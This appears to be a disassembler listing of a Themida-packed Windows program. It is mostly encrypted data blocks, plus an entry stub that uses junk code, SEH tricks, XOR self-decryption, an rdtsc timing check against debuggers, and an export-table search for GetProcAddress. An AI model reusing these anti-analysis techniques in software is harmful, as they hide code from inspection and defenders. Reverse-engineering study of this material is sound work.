		dd 0B23DE43Fh, 0E32F5B20h, 6440AB35h, 0AB463F4Eh, 224D544Fh
		dd 737FAB50h, 0C2551B65h, 1D70420Ah, 7599CA8Ch,	0C6890097h
		dd 278F9E92h, 0A0A0D5DAh, 0F89E4FAFh, 53F394A7h, 0ADD3E2E5h
		dd 7DCA44C3h, 51D7BBD0h, 0B7DC1DF7h, 1AE574E9h,	661BEF09h
		dd 0FF68310Bh, 302C4C16h, 9A35F438h, 0F32B223Eh, 114CA13Eh
		dd 8058FC40h, 0E0764345h, 4C61AF68h, 0BC6D3262h, 7485516Dh
		dd 6DA1B2B8h, 0EF9D188Fh, 5AC7DA7h, 62A2FBBFh, 0C9AD24A9h
		dd 22DB93CEh, 0A7DCD0AEh, 0F1E82BD0h, 4CE28FC0h, 91E8EBFFh
		dd 0F217431Bh, 503ED20Bh, 0A10E230Ah, 9307539h,	793ACA1Dh
		dd 0DB68052Ch, 31436877h, 9556DE79h, 0F7182970h, 305FB341h
		dd 9D74E467h, 0E797398Ah, 5C8DAE81h, 0B6B7E28Dh, 18B325A2h
		dd 78A1A7A4h, 0DADF6DCAh, 10C379C6h, 69D9D7D2h,	0ABF134FBh
		dd 39EB98FCh, 9D19D282h
		dd 0F8034512h, 4F018209h, 0AB36C45Eh, 0E6224337h, 482C9632h
		dd 0AA7C1C49h, 0A447940h, 67728822h, 0D27E1773h, 2F614E7Eh
		dd 9096C3BDh, 0C7983397h, 2794A782h, 0A3D4FDAEh, 0FCAD48A0h
		dd 7DC885ACh, 97DEE1C6h, 0ECA61AAh, 7BF6BEFBh, 0A7FC3FE6h
		dd 0AF241E8h, 643DB83Bh, 0C01A391Ah, 370E7407h,	9F16C037h
		dd 0DB442D26h, 6E79BA7Ah, 0CC1EA37Bh, 866C7862h, 6973BD48h
		dd 0AB7B1362h, 71854549h, 5A97A6A4h, 0F28A029Ah, 259D72BBh
		dd 649EAF93h, 0C0B502A1h, 28E28EC8h, 0A8CDEEC2h, 0C39C7EDAh
		dd 50C384F3h, 0B5E5D1FEh, 53D4E0Bh, 0C8EFCF33h,	94A85863h
		dd 69541732h, 290436A6h, 0DB3C3541h, 6605233h, 35AFA240h
		dd 0CDCCC04Eh, 104C8546h, 70FFC054h, 88D41C90h,	0D3E41E6Dh
		dd 0F0F60C77h, 7C14A1D6h, 9D499109h, 0BC987FC7h, 0AFCF181h
		dd 0FBAED8A6h, 88BE4C0Fh, 38487F8Eh, 0D014CEFDh, 1F704228h
		dd 0B3648CBEh, 0B418E092h, 805C2E52h, 4E12D02Ch, 96141E3Ah
		dd 6C421A2Eh, 0EF4CED73h, 943A3C83h, 0A75D590Ah, 0DBD10B6Bh
		dd 0EB13C8F2h, 136D7AADh, 4D4B5CFh, 8B5DB4C2h, 2CBCFDD2h
		dd 2CE3D667h, 3921AE78h, 9698E9B4h, 0BF95791Dh,	9CD8F986h
		dd 82FF4A85h, 0AB48733Ch, 563D72EFh, 0B4B8A156h, 1CBBBAB5h
		dd 1B12BFBBh, 0ABEC0832h, 0EDAFBC2Dh, 0CF14D503h, 34F7863Ch
		dd 0ADA3DA89h, 12F028A3h, 37B964EAh, 7AC22A33h,	73059FD2h
		dd 82E02C43h, 17E0A5BAh, 0BBF9C8FFh, 0A74AA95Dh, 3617E0B6h
		dd 74117BAEh, 27780857h, 4B6CC8B0h, 0C260708Eh,	8BD5495Ah
		dd 0A68A21Fh, 3BB1A328h, 52101A2Ah, 0D6E9F67Ah,	9A32483Ah
		dd 58002891h, 0F86215C1h, 0A53933DAh, 338C5229h, 0CDF87BC2h
		dd 0B28D1FFCh, 14AEC2A0h, 0CA475441h, 0D8B9F4B6h, 6950DB66h
		dd 0A5945391h, 4AD32705h, 58F1A7D2h, 915025F6h,	346859E1h
		dd 53D3875Eh, 7D4C2A5Ah, 0EA6B3745h, 36FFF85Ah,	6C5C7688h
		dd 0E6E95965h, 0BED7DCD4h, 6D0885Dh, 0ACA86A75h, 0CEBD0A98h
		dd 0D51F118Ch, 0E4F4B8B0h, 3C4F24Dh, 0C950457h,	536755B6h
		dd 73632540h, 1870C6F4h, 7F8F3D1Bh, 4A449BEFh, 8071B25Ah
		dd 685B5E66h, 0C5464A20h, 0D07A5AC3h, 19A6B54Ah, 0C692877Ch
		dd 1FCDFFFBh, 8020C673h, 0A549D21Ah, 0E81364E3h, 0A3619102h
		dd 8CF09DDCh, 0B3EC4596h, 576181D1h, 174DA9D2h,	9FC04FCEh
		dd 42B099EEh, 725795AEh, 8BBC105Ch, 0AB1D211Dh,	0D38585AEh
		dd 7712757Eh, 1B6CCD9Ah, 0EB323B66h, 0F6AB465Ah, 7689CB4h
		dd 3CB19071h, 4F30FC32h, 0F14EF07Bh, 0FF192F4Fh, 7B0CE912h
		dd 19957254h, 14F410D3h, 7D9C226Bh, 0CEB42CB2h,	39D01CD7h
		dd 32E07435h, 49B864BCh, 7A86AE27h, 3E25F5A6h, 0B67746EEh
		dd 2C5C7FDEh, 0BD2DCA82h, 0C8E5C320h, 6B64C040h, 62D44DBh
		dd 0D8D9D704h, 9340EC6Fh, 9566346Dh, 0EB705044h, 0A1DBCB5h
		dd 6E23F716h, 0A15D1060h, 0A5A8F355h, 0C9BC17A2h, 0F37514B4h
		dd 60D4AFF3h, 85CA3B0Ah, 0DC828C2h, 5B2584BEh, 22A43F80h
		dd 3F0E5661h, 7BD167B2h, 63000B82h, 4775DA70h, 0B024DEE5h
		dd 50BFF742h, 0FD500EDBh, 40473F6Ah, 0B1EA1C68h, 26A488F2h
		dd 72202B26h, 21143F9Eh, 0FF36F30Eh, 0E8BA0777h, 88FFBAC8h
		dd 0B0E45E0Bh, 21F83C5Eh, 0C64DE023h, 0DB8E0396h, 8F3FCCCFh
		dd 0ABA9D468h, 0E2CDF889h, 7FC68B96h, 0FA0AEB75h, 4F21225Eh
		dd 0A7E9C9B3h, 55606A66h, 60540EEBh, 56188CCFh,	2D33000Bh
		dd 4C30FA93h, 5C2C58A9h, 10174F22h, 380CE68Bh, 2F75AA3Ah
		dd 70CE1156h, 23E85D6Bh, 0E7D1D8E2h, 56F039F6h,	7BA1DAEBh
		dd 8F141ECBh, 0D6D07092h, 938056D8h, 0EEE139EEh, 338B8F0Fh
		dd 9253BAB8h, 7437FF1Eh, 9555D26Ah, 0D358A64Eh,	881EC7A5h
		dd 3B6AF3D3h, 0EFF45E3Ah, 8B78417Eh, 71CB52Bh, 0C5673652h
		dd 2B659266h, 6C6D5FFEh, 13EC64D8h, 9D69C26h, 16510513h
		dd 0D3C810E4h, 26BFD4AAh, 9CE12932h, 0CC31E3FAh, 9F98E0B4h
		dd 96976807h, 93B35886h, 0AC24FD2Eh, 3797013Fh,	467CDDB4h
		dd 15749CD1h, 0AE6D9EDFh, 0B2FB183Eh, 0F639BBBFh, 0B9D92926h
		dd 1A309091h, 0C20870E6h, 887D4902h, 9D0AAEFh, 83F4E661h
		dd 0E453FFFEh, 0F5EC8DCAh, 144BBCC5h, 3D94C5AEh, 64232A5Dh
		dd 85BC1DB2h, 79C421Dh,	48877BAAh, 7158317Ah, 9D04C1FBh
		dd 46606775h, 7D7E31CFh, 5D81444Eh, 0CC4A3606h,	196C9255h
		dd 8457E242h, 0DC745E7Dh, 47638E77h, 0B33877Fh,	8AA6E571h
		dd 0C16B9C37h, 0C79C18E1h, 282412Fh, 5B7137D2h,	9B87EA3h
		dd 54AC02A5h, 6EDA22Bh,	0FA6BB565h, 0D8C6325h, 0E47C9282h
		dd 0CFFD9D10h, 0C856716Eh, 32F318F2h, 74D9AFA9h, 4C40E668h
		dd 43666C50h, 400268BBh, 20683922h, 0B0D4D51Eh,	0C90B3A8Fh
		dd 0EFF89C5Bh, 0B3844198h, 61E0E5E7h, 4E2B82B0h, 7FE807A0h
		dd 0A8B08F49h, 5A3965F8h, 6B8437AEh, 21903017h,	500D61B2h
		dd 587FF586h, 0FB1EFA2Bh, 2A974B04h, 437CDF62h,	0CD4600A9h
		dd 7414396Ah, 0F16DD8Bh, 71B97E32h, 2F20050Fh, 1487099Fh
		dd 0BF09398Ah, 597D7702h, 0A84EEBBh, 9471A7B9h,	0A7D8DCF4h
		dd 0F2CCA193h, 9608FA4Bh, 8DBBE8BAh, 0AA2592E0h, 86F42F93h
		dd 7190D497h, 0E372ED75h, 392E1C5Eh, 3BD2558Dh,	0F5EB6446h
		dd 0D1970B66h, 2D4BD41Eh, 291C22C9h, 72BDEC7Ch,	0E989C919h
		dd 8F60BDDDh, 4069B377h, 24E28172h, 5059CCA3h, 6F63EFE2h
		dd 32DF36C6h, 6ACC415Dh, 0A8AB37Dh, 2F8CD06Dh, 1F270CB1h
		dd 0F9152AAEh, 129467B4h, 393DD0B8h, 937CAFACh,	81C518F5h
		dd 1264F744h, 0ED7673EBh, 0CF1052h, 26BF3CB9h, 0A981EEFAh
		dd 0D4282B00h, 2132BBAFh, 0CF400316h, 486EA709h, 0ECF89A96h
		dd 15136972h, 34C0F7AEh, 0F1121325h, 0F1372AEEh, 209CDB8Ah
		dd 0CB4F8A35h, 975B2D2Eh, 0C1D3361h, 0DA8C7EBCh, 2806886h
		dd 0CAE1592Ah, 17686A44h, 6072FAE7h, 0E6B05356h, 882E661Ah
		dd 6364FC1h, 55A57E12h,	74000C3Eh, 187E1291h, 0EC3A955Ch
		dd 71FCBBFDh, 960FB1D6h, 0A7C47FC0h, 65D87C55h,	0EB459DF2h
		dd 3155BEE2h, 0BCB4C593h, 6E23B5FDh, 7FBC03BAh,	178A851Dh
		dd 52AF8B01h, 6B58377Ah, 217830F9h, 98CD6146h, 0ADB6AE98h
		dd 0E6582CC3h, 0CE6D4D62h, 1261A165h, 0CEF200D5h, 7448393Eh
		dd 0F257F87h, 0A0254206h, 13CE0EC0h, 768AA980h,	0FEE60887h
		dd 0EB578A5h, 28F687A6h, 86D434DAh, 1DACCD9Fh, 0B7F4F3FFh
		dd 0E3D718D7h, 54ED9AFCh, 0B013CFF6h, 0EE1F4202h, 7A10B139h
		dd 0BC2A1D0Dh, 1D297F3Bh, 7328931Ah, 0F7500148h, 294D6B4Dh
		dd 9F4CF051h, 0C77D3164h, 3576917Eh, 9B91D1A2h,	0E18D4C97h
		dd 5D8F8F8Ah, 89ADE0B3h, 17A9539Dh, 79CEAAA6h, 0A7DF1DE6h
		dd 39C17FC3h, 61ECC2DFh, 0D7E529FDh, 21C19BE3h,	961DCF0Ah
		dd 0F601330Fh, 7100980Ch, 0E124FC3Fh, 0D1027C19h, 6C6A9669h
		dd 0AE45366Eh, 1E537054h, 4248B77Ch, 0D66C0967h, 1FA07875h
		dd 6582DC83h, 0C1B22684h, 27B185ACh, 9489C6BCh,	0E2AF52B6h
		dd 60B490DFh, 0BDCFF4CFh, 0FF362D6h, 2092CEE2h,	3BDC228Ah
		dd 1A089C34h, 6105C21Dh, 0DB143048h, 24386C28h,	9621882Fh
		dd 0D23C2524h, 607BAD7Fh, 8845F65Ah, 0F2755C74h, 695F8F18h
		dd 9A635E54h, 53BA68B5h, 6581B3C8h, 0B1EF1C96h,	5FD0E583h
		dd 8299B1CAh, 8798D753h, 74293FB2h, 0EFA0BDB3h,	0B996D465h
		dd 0DF49E5AEh, 0B140FD9Dh
		dd 0C9C5A668h, 7A64F143h, 0B27649F2h, 55CD7F78h, 2C35A0B9h
		dd 998ADCB7h, 21A3050Eh, 9DB9FE20h, 7595C0B3h, 0CC04D122h
		dd 0C6D1847Bh, 0CC65C2F2h, 0D0AE501Ch, 30D53121h, 0FB94CF01h
		dd 3AA9B147h, 0BEDA3CB6h, 0F75B1EC0h, 6B89E84h,	0A2A82411h
		dd 0A6C48982h, 0F274A072h, 0B82B023Dh, 3A10A426h, 0F7A219A9h
		dd 424F306Ah, 4CABC64Ah, 5FD32B30h, 6E003588h, 0FA8710E5h
		dd 49F79D7Dh, 59FC03EAh, 0BEB6F8F6h, 8FB700B5h,	4594BF9Ah
		dd 0C03E022Dh, 0D5283BE6h, 0D94B2043h, 0D5A883A5h, 2BD974F7h
		dd 59BEF9A5h, 3E8423C6h, 455201EBh, 9665F72h, 0DE175B66h
		dd 3F3D8D2Ah, 0F509C53Ah, 37A9B812h, 0B430CB1Fh, 0C10D35AFh
		dd 8293C1Eh, 915D49Fh, 985F206h, 21F43ED0h, 3EFA5711h
		dd 0D04F66C2h, 5CD00AD2h, 19D41B47h, 29E1529Eh,	68865C0Fh
		dd 1F6272A6h, 57F2C165h, 14A8A20Bh, 5B2C8682h, 5C5068D3h
		dd 0B5E9CE6Ah, 0C478525Eh, 69264202h, 6412BA2Ch, 30345E38h
		dd 7E8697D1h, 3899A602h, 11323F4Ch, 6024DD87h, 0E592C3FEh
		dd 0A7AC807Fh, 7DB4D9C6h, 9D852D8Ah, 597AB431h,	0E8E4C5E2h
		dd 9B9AC323h, 9421CBAAh, 39891B2h, 587F667Ah, 200D0679h
		dd 2874BD68h, 0B37D5AEBh, 6808B362h, 284E6165h,	0FA83D2B5h
		dd 2318C425h, 0F3732164h, 94D316CEh, 14917AE5h,	0E508411Bh
		dd 0BEC85A7Ah, 50F5BF6h, 8BFFC92Dh, 278EF0FEh, 2FFFC0A4h
		dd 0A4DCBD4Bh, 7FE5DC9Ah, 83F8D1FFh, 0E36375F3h, 1AB0E29Ch
		dd 9486F975h, 8AB9105Eh, 0EE18C16Dh, 0AA60586Ah, 1918B409h
		dd 0DC01F00Fh, 96700806h, 10227DC9h, 0D2CC8C0Ah, 0D118301Eh
		dd 5269875Ah, 0BF6C1950h, 3DF45A9Fh, 38462A11h,	384F63C2h
		dd 79FACB63h, 0FD0CC3CAh, 0CBEE4FBEh, 0AB390CB2h, 64A0B78Fh
		dd 0AD8B550Fh, 0A535528Eh, 837CA3A9h, 0EC8F7024h, 1D44E2D0h
		dd 4C54ABDDh, 455398C7h, 6317E746h, 0C5660D3Bh,	0D128FF2Ch
		dd 5AF470DDh, 1AEFB8ECh, 1D11EAB7h, 0EB8C8EFEh,	84FFBA9Ah
		dd 127529E6h, 24D45AF0h, 70C81EC2h, 57F39195h, 968255FDh
		dd 5CE846EEh, 2A8A3B61h, 0CC1F52B2h, 4880F681h,	0F4132FF7h
		dd 1D313E4Eh, 147698DFh, 2A026E56h, 70ACD5B5h, 7738CE3Eh
		dd 8A653C7Bh, 2C0E4263h, 0F314F656h, 90224C9Bh,	5C3C8702h
		dd 0F7F29072h, 9E8CDAEAh, 0B2D8EDDEh, 0C3D43467h, 3A4D6CC6h
		dd 2B94F32Ch, 305A6646h, 0E921A25Dh, 1790E5BCh,	0B994ED85h
		dd 0B3F90D7Eh, 36CB0E2h, 0A6613D32h, 0DEABF95Ah, 0EF68B734h
		dd 92AC85C3h, 0BC60E536h, 8924E3FEh, 5582B8E1h,	0E389D132h
		dd 0AF0D005Fh, 6AF40B72h, 24D22911h, 503760C2h,	7692B955h
		dd 8FC4A8EAh, 0D83DC197h, 12ACD092h, 0CC260159h, 4A1138BAh
		dd 2F015881h, 92F78082h, 8970AF7Ah, 58E1475Ah, 78584C7Eh
		dd 4260DBD7h, 62AB546h,	0A85E5950h, 64BA69D1h, 0A9FA002h
		dd 0F6944BE9h, 0A904E80Bh, 0FDC61E73h, 91862FD2h, 0B01F80B4h
		dd 0C9F45D58h, 0E8C7DB4Bh, 11BCBE82h, 95D0DE3Bh, 5115078Ah
		dd 26FA876h, 0A118276Dh, 6EDEF386h, 0CD401E9Ch,	8BFDC43Ah
		dd 0BC5CFF48h, 0F570EDEBh, 9145964Ah, 0E2C73DDAh, 0E177FABFh
		dd 654A1306h, 914A372h,	525B090Eh, 70D67197h, 0D0B42FF6h
		dd 8471CBFEh, 6CD8CAF0h, 6BC638DDh, 45D41682h, 62B6DE5Ah
		dd 0CEE268AFh, 7B9F54B0h, 9498E6D2h, 5845696Bh,	18735B76h
		dd 3293BE56h, 68DDDF36h, 0A054D670h, 0EC489A52h, 0E80A1067h
		dd 1A10CC16h, 0FD01BC0Ah, 420043Bh, 52CB637h, 8B4A7875h
		dd 67D45BB3h, 0B17D46B9h, 2EDC7DCBh, 53D0AD12h,	0A7C4CFCAh
		dd 0E471AE9h, 3F8CC73Ch, 0F6A11C2Dh, 87FE35BAh,	0E2E3C26Dh
		dd 0CA942C8Fh, 55702176h, 176EA14Fh, 1CD9609h, 0DC4C2D7Bh
		dd 0E810BD82h, 0A73C3D31h, 0F6A5F92Eh, 0EF3CBD56h, 6EF1241h
		dd 3724CF84h, 8E86487Bh, 5420997Fh, 8763D0C6h, 0C6F461DBh
		dd 0A14595CEh, 25BC9CEEh, 0E3B00A78h, 0C35B57FCh, 0FAB88214h
		dd 0E08CB411h, 0BC0B61A9h, 0CCB821F7h, 87D8384Eh, 3E297290h
		dd 24BC6836h, 425DBB5h,	97312B29h, 54C76D45h, 0AC0BDFADh
		dd 2CD80997h, 0EFB582Eh, 0F4170B85h, 8F6560A5h,	15E463C0h
		dd 19CDD863h, 0F7B88AD2h, 81B51FAEh, 1F212CBAh,	49A85784h
		dd 4DB0D01Fh, 0E4BF96h,	95C6E64Dh, 5978075Eh, 78AAAB72h
		dd 0A14063ADh, 0BB5C1A5Ah, 2B1568B1h, 38B13B46h, 3110F3FAh
		dd 37B17C7Ch, 0FA180737h, 990334EAh, 0C1006FBDh, 49249773h
		dd 882B6CEh, 8249A5B4h,	0D5D0DEFCh, 5040AD0Ah, 0B3B846BEh
		dd 56FCBA72h, 0E1CADEA5h, 849432F2h, 0BD77804Eh, 0CC5C5344h
		dd 7F8FE6F5h, 1467C6EEh, 6CDDEF5Eh, 0D14C2A7Fh,	206D76CBh
		dd 44A1DF3Ah, 1928D603h, 0BC1CF070h, 0B9FAABE9h, 0CC87E22Ah
		dd 57C8A01h, 11EC29F0h,	0CB5532E6h, 3CD451F7h, 47E1F35Bh
		dd 0F4443AC2h, 0AD0BD9B9h, 0D62D01AAh, 0F7B88876h, 588F80A1h
		dd 55D1BDD7h, 568BC07Eh, 874818BAh, 2964C9Dh, 0FD57D76h
		dd 71D3A545h, 0DE0BC53Eh, 96C0ECBBh, 0E710D06h,	30BD94Bh
		dd 58585501h, 6AD6EF97h, 0E13019F6h, 92E6106Eh,	0C65D6DDEh
		dd 19CCA8FFh, 0C6F8674Dh, 22B48EA5h, 7ABA69Dh, 8B6BE955h
		dd 236C391Fh, 0F90F60AAh, 4FD9BC42h, 285FA872h,	6F978D65h
		dd 0C7DD11ADh, 0E668B9BAh, 0C18B3781h, 18D32530h, 0DD3CD3A7h
		dd 750C67A9h, 0DB6781C2h, 3FD06F2Eh, 88350C0h, 1B9C4A80h
		dd 0A5A6D4ABh, 0C60F89D7h, 0B34FA381h, 85FA40AAh, 0C6E4A33Fh
		dd 1C835251h, 0AC7CAAA1h, 7C4BD3AEh, 0C5583309h, 6DC893FFh
		dd 0D157BF6Ah, 5E97E89Dh, 95F18A59h, 1408B6Ah, 680790B1h
		dd 3749CF82h, 9E66AB24h, 27301714h, 0DD708336h,	98CACC2h
		dd 909926CEh, 1D6B0205h, 858C2BE7h, 59C366CEh, 8EEF591h
		dd 53F9DFB9h, 532F0155h, 0BAD1F5A3h, 0A40849D1h, 17F1579h
		dd 0AE21CD2Dh, 7B59B661h, 7F61299Dh, 0C3624915h, 8FBB38CEh
		dd 4768FFC1h, 3C232966h, 0A3DFF53Dh, 43FC7529h,	0ABF7ADF0h
		dd 0B803F886h, 322AA09h, 8FE43DFCh, 0CC278F36h,	0D7CC6D2Dh
		dd 0FA9D29C6h, 3F93E357h, 0C2B198AEh, 98F815A2h, 0FB2532A4h
		dd 0CB847DA7h, 0D21E23F7h, 0F836E84Ch, 9B614BE3h, 30A665Ah
		dd 622E4F4Dh, 88796579h, 2B302BB3h, 0D9678A2Ah,	7318011Eh
		dd 17E9401Dh, 0F8F66906h, 0DAFB0EA6h, 2E8B035h,	86FC2A63h
		dd 45F0D8F6h, 0EEC4524Eh, 6C77A8BEh, 0B4A31B4Dh, 0DAA08865h
		dd 0F59C6E11h, 0E3A3C0C4h, 64F70F1h, 0A2731D9Dh, 8774F6E3h
		dd 927598DBh, 0A832EC52h, 53A857B9h, 15344C3Ah,	620504B3h
		dd 1E819722h, 6210183Bh, 0D1FB219Ch, 0D171FBF1h, 0C06723F2h
		dd 19C0EA16h, 0BEE83551h, 9FB7E710h, 72CE4C3Dh,	0C9941D37h
		dd 0C644FBAAh, 8B9BC960h, 9539CE86h, 3A80C796h,	0B5CD9B00h
		dd 0D6682F68h, 27ED7691h, 6DA375B5h, 62164515h,	96B52D0Fh
		dd 0B52C6342h, 0F6708E40h, 2F35DF2h, 0EB8315F1h, 54B6F00Eh
		dd 0C3F6D77Bh, 0CB6D12A9h, 109E198Eh, 0F4ECA2F2h, 0F3E86D4Fh
		dd 993FDAF0h, 0C088435Ah, 1794589Bh, 0DA3F95h, 2F94188Bh
		dd 0DB78A61Dh, 0D4415EF7h, 90224766h, 0F04A95Bh, 0C2C3EA9Ch
		dd 0DC3EBD26h, 5E46BB5h, 0C3247A0Ah, 8FE5DC9Ah,	0E4B93DEDh
		dd 4700462Bh, 7BDE376Fh, 135D52EEh, 5CDC71CFh, 67F95743h
		dd 334914CAh, 2B81D93h,	13810127h, 0BDF2D4A6h, 0AF21D69Ah
		dd 0E088EDA3h, 0E3564717h
		dd 0B3C5EA76h, 0F4649947h, 8F71FFCBh, 9FF98C52h, 840856Ah
		dd 0BB19998Fh, 0AAD7BB2Eh, 0E33CBB0Ch, 0AAC49095h, 0E804D92Ah
		dd 0CEF87C16h, 73867DF2h, 3E292967h, 4A8C68FAh,	164DCDC1h
		dd 87BC90D7h, 6E339776h, 8BAB0855h, 0CE8DD41Bh,	82B18392h
		dd 4380CE86h, 0A6F5EE66h, 0F04204Ah, 0CA3CC317h, 39AF8B92h
		dd 0C8AC1D3Fh, 0E6C743C3h, 4DD39FE0h, 7BDF2A47h, 0E820FE62h
		dd 9E0869B6h, 0E4149002h, 900F6C09h, 0ADA0BCD3h, 0E16D56EEh
		dd 5ACC5FFEh, 0F4A62B96h, 6AB6C180h, 0BDC03D8Bh, 0EA9CF0A2h
		dd 5790D952h, 0DF11A8DAh, 0CE78DB54h, 0CFED97B6h, 0C95F7C3Ah
		dd 0FFD7E42Fh, 2007634Ah, 0FED4D0BDh, 44CF2CC9h, 0C90BCFE9h
		dd 7DF01B1Eh, 0D30CBF12h, 85B86326h, 0B0F406FAh, 0FCE8AAEDh
		dd 2DDC6A20h, 89DCD682h, 0E83C15E4h, 64D823C2h,	30ACDEB2h
		dd 0E484D62Dh, 0F98EADC7h, 3CA14663h, 2F9F8682h, 0A611ED89h
		dd 0B66Eh, 112Fh dup(0)
		db 0
byte_610E61	db 3 dup(0)		; DATA XREF: Themida_:00593CB8o
		dd 67h dup(0)
		assume ss:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near
		push	ebp
		mov	ebp, esp
		call	sub_611020
		xchg	ebx, ebx
		stc
		call	sub_6110AF
		mov	ebp, 12FFC0h	; DATA XREF: sub_611020+Cw
		mov	edx, edx
		jmp	short $+2
		jmp	short $+2
		jmp	loc_611045
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_611020	proc near		; CODE XREF: start+3p
		push	dword ptr fs:0
		mov	fs:0, esp
		add	dword ptr ds:loc_611010+1, ebp
		stc
		cld
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	ds:dword_512000	; CreateFileA


loc_611045:				; CODE XREF: start+1Bj
		jmp	short $+2
		nop
		call	sub_6110A7
		mov	eax, eax
		xchg	ebx, ebx
		sub	ecx, 0FFFFFF91h
		xor	ebx, ebx
		or	ebx, 2990h
		clc
		cld
		sub	esi, esi
		add	esi, 43h
		clc
		mov	ecx, ecx
		push	ecx
		mov	edx, edx
		jmp	short $+2


loc_611071:				; CODE XREF: sub_611020+70j
		mov	al, [ecx]
		xor	ax, si
		jmp	short $+2
		jmp	short $+2
		mov	edx, edx
		nop
		clc
		mov	eax, eax
		mov	[ecx], al
		jmp	short $+2
		inc	ecx
		add	si, 0ACh
		sub	ebx, 1
		cmc
		or	ebx, ebx
		jnz	short loc_611071
		pop	ecx
		xchg	ebx, ebx
		nop
		mov	esi, [ebp-8]
		mov	fs:0, esi
		clc
		leave
		clc
		jmp	ecx
sub_611020	endp

; ---------------------------------------------------------------------------
		stc
		mov	edx, edx

; =============== S U B	R O U T	I N E =======================================



sub_6110A7	proc near		; CODE XREF: sub_611020+28p
		pop	ecx
		cld
		cld
		xchg	ebx, ebx
		jmp	ecx
sub_6110A7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		clc

; =============== S U B	R O U T	I N E =======================================



sub_6110AF	proc near		; CODE XREF: start+Bp

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_6110AF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_611108
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_6110FD
		mov	ebx, [eax+2985h]
		jmp	short loc_611106
; ---------------------------------------------------------------------------


loc_6110FD:				; CODE XREF: Themida_:006110F3j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_611106:				; CODE XREF: Themida_:006110FBj
		mov	ebx, [ebx]


loc_611108:				; CODE XREF: Themida_:006110DBj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 60C1h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+103990h]
		mov	ecx, 0
		rep movsb
		call	sub_6111E1
		mov	ecx, eax
		call	sub_6111E1
		sub	eax, ecx
		jz	short loc_6111B3
		cmp	eax, 100h
		ja	short loc_6111B3
		and	ebx, 0FFFFF000h


loc_611147:				; CODE XREF: Themida_:00611156j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_611158


loc_611150:				; CODE XREF: Themida_:00611165j
		sub	ebx, 100h
		jnz	short loc_611147


loc_611158:				; CODE XREF: Themida_:0061114Ej
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_611150
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_611172:				; CODE XREF: Themida_:loc_611186j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_611186
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_61118B


loc_611186:				; CODE XREF: Themida_:0061117Bj
		loop	loc_611172
		pop	ecx


loc_611189:				; CODE XREF: Themida_:loc_6111FBj
		jmp	short loc_6111B3
; ---------------------------------------------------------------------------


loc_61118B:				; CODE XREF: Themida_:00611184j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+10113Fh]
		mov	dx, [eax-17h]
		call	sub_6111E6
		jmp	short loc_6111FB
; ---------------------------------------------------------------------------


loc_6111B3:				; CODE XREF: Themida_:00611138j
					; Themida_:0061113Fj ...
		mov	eax, [ebp+103984h]
		and	eax, 10000000h
		jz	short loc_6111DF
		mov	edi, [esp+4]
		lea	esi, [ebp+103988h]
		lodsd
		mov	ebx, [ebp+1042CCh]
		stosd
		movsb
		mov	edi, [ebp+1042D4h]
		mov	esi, [ebp+1042D0h]


loc_6111DF:				; CODE XREF: Themida_:006111BEj
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_6111E1	proc near		; CODE XREF: Themida_:0061112Ap
					; Themida_:00611131p
		rdtsc
		retn
sub_6111E1	endp

; ---------------------------------------------------------------------------
		db 9Ah,	80h

; =============== S U B	R O U T	I N E =======================================



sub_6111E6	proc near		; CODE XREF: Themida_:006111ACp
		push	ebx
		mov	ecx, 2845h
		mov	ebx, edx


loc_6111EE:				; CODE XREF: sub_6111E6+11j
		xor	[eax], dl
		sub	dl, bl
		xchg	bl, bh
		inc	eax
		xchg	dl, dh
		loop	loc_6111EE
		pop	ebx
		retn
sub_6111E6	endp

; ---------------------------------------------------------------------------


loc_6111FB:				; CODE XREF: Themida_:006111B1j
		jb	short loc_611189
; ---------------------------------------------------------------------------
		db 2 dup(0), 66h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A0h, 6Fh, 41h
		dd 9061D0E5h, 0CA6508E4h, 1FD6CFD3h, 723EDA05h,	2E0D2080h
		dd 88439480h, 0A37401E5h, 0FC655AC5h, 0D00B9F4h, 0AF89127Fh
		dd 0F610AEAAh, 0C2005168h, 0FA656F80h, 2E7395CCh, 4972B2C5h
		dd 0D538CF2h, 9085D156h, 620034BEh, 5600F343h, 0A60F7C05h
		dd 11FF77DBh, 9495ABD0h, 30030BEh, 0D385E340h, 9E00B883h
		dd 0FA15B33Dh, 0A2755180h, 0C0CCA97Fh, 0C3FEE890h, 1A10A1B7h
		dd 0F390050Fh, 0B5EB4C90h, 6B90BD03h, 0C900E490h, 6153025h
		dd 47837C80h, 0AE105D04h, 0F2A59780h, 4600F095h, 0CE856AD7h
		dd 0DF006892h, 9432F109h, 0C38D1090h, 4210C97Ch, 0B38D61B3h
		dd 0DA104ABEh, 2BE86031h, 2D000C83h, 7E4D7Fh, 0E2C1A490h
